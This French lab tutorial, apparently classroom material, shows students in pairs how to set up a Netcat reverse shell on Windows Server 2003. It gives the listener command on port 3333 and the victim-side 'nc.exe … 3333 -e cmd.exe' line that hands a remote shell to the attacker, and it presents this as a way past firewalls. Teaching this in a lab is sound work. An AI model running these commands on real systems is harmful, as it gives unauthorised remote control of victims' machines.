Reverse Shell avec Netcat

1 - Principe

Netcat est un outil réseau souvent appelé « TCP/IP swiss army knife ».

Avec cet outil on envoie des requêtes TCP/IP et on en reçoit. C’est très simple et très puissant !

Nous allons utiliser cet outil afin de se connecter à un ordinateur distant.

Ce qui est important à comprendre ici est le fait que nous allons « forcer » l’ordinateur distant à se

connecter à notre ordinateur et non l’inverse ! D’où le « Reverse » Shell. Nous ne faisons pas une

simple backdoor, qui est plus difficile à mettre en place car les pare-feux font leur boulot !

Ici la victime va ouvrir un prompt visible sur notre machine !

Cela permet de contourner les pare-feux, et nous allons voir comment.

2 - Exploit

Par groupe de 2. Nous utiliserons uniquement Windows Server 2003.

Nous allons récupérer l’outil « Netcat » à cette adresse :

http://joncraton.org/files/nc111nt.zip

Décompresser l’archive dans C:\Windows\system32

Lancez un prompt sur les 2 machines. (Exécuter -> cmd)

Puis aller dans le répertoire que vous venez de décompresser.

PARTIE ATTAQUE

Sur la machine qui attaque, nous allons écouter sur le port 3333 grâce à « netcat ».

Entrer cette commande :

nc.exe -v -L -p 3333 o –v permet d’afficher des détails en console o –L (listen) permet d’écouter les connexions entrantes o –p indique le port sur lequel on écoute

Désormais, n’importe quelle machine peut se connecter sur le port 3333 de notre machine

PARTIE VICTIME

La victime doit se connecter sur le port 3333 de la machine qui attaque

Elle doit exécuter un shell afin d’ouvrir une session

Ici nous allons le faire à la main pour rendre les choses plus simple.

Pour cela entrer cette commande :

nc.exe (ipdelautremachine) 3333 –e cmd.exe

o –e précise la commande à exécuter lorsqu’une connexion est établie

La connexion est établie et un shell s’est ouvert sur la machine attaquante !

Screenshot de la machine qui attaque :

Vous avez désormais un shell sur la machine victime.

Nous avons ici exécuté la commande cmd.exe lors de la connexion mais on peut ouvrir d’autres

programmes ! VNC par exemple afin d’avoir le bureau à distance !

3 - Conclusion

Le reverse shell est très puissant car il permet de contourner les pare-feux.

La victime vient à nous et non l’inverse comme dans une simple backdoor.